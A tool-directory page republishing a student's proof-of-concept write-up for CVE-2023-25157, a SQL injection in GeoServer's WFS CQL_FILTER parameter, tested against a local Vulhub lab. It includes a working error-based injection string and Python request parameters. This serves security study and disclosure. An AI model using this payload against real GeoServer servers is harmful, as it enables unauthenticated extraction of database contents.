Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
geoserver-CVE-2023-25157 — Proof-of-concept exploit for CVE-2023-25157, a blind SQL injection vulnerability in GeoServer's WFS CQL_FILTER parameter, enabling unauthenticated data extraction. | Kitploit
Tools/GitHubGitHub/custiya/geoserver-cve-2023-25157
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubcustiya/geoserver-cve-2023-25157

geoserver-CVE-2023-25157

Proof-of-concept exploit for CVE-2023-25157, a blind SQL injection vulnerability in GeoServer's WFS CQL_FILTER parameter, enabling unauthenticated data extraction.

View Repository
1 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

geoserver CVE-2023-25157

White Hat 3rd Cohort [Class 30] Kim Jeong-woo


github link - https://github.com/custiya/geoserver-CVE-2023-25157

Vulnerability Summary

  • CVE-2023-25157 is an SQLi vulnerability that occurred in GeoServer, an open-source map data service web application.
  • Occurs in some versions of GeoServer 2.22.0 and below.
  • The CQL_FILTER parameter of WFS (Web Feature Service) requests is vulnerable.
  • Anyone can exploit if they can access the API without authentication.

Environment Setup

  • Run the test environment with the docker compose up -d command.
  • Access the page at http://your-ip:8080/geoserver.
  • First, you need to discover an existing workspace containing a PostGIS data store.
  • Vulhub's GeoServer instance already has a PostGIS data store.
    • Workspace name: vulhub
    • Data store name: pg
    • Table name: example
    • Attribute used: name

poc.py

  • A form of SQLi statement created based on the content described above.
  • Deliver that statement to the server using the requests module.
  • strStartsWith(name,'x'') = true
    • Adds an extra single quote after 'x', breaking the SQL syntax.
  • and 1=(SELECT CAST ((SELECT version()) AS integer))
    • The version() function returns the current version of PostgreSQL as a string.
    • CAST(... AS integer) forces conversion to integer, causing an error.
    • The server will return an error message, allowing Blind SQL Injection testing.
# 대상 URL
url = "http://localhost:8080/geoserver/ows"

# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"

# 파라미터 설정
params = {
    "service": "wfs",
    "version": "1.0.0",
    "request": "GetFeature",
    "typeName": "vulhub:example",
    "CQL_FILTER": cql_filter
}

Results

Alt text

Summary

  • Through this PoC, we were able to check whether SQLi occurs. An attacker could use SQL queries to collect system information.
  • To prevent this attack, user input validation should be added. Also, instead of directly interpreting the input SQL statement for use, it should be stored separately and used.
Download Tool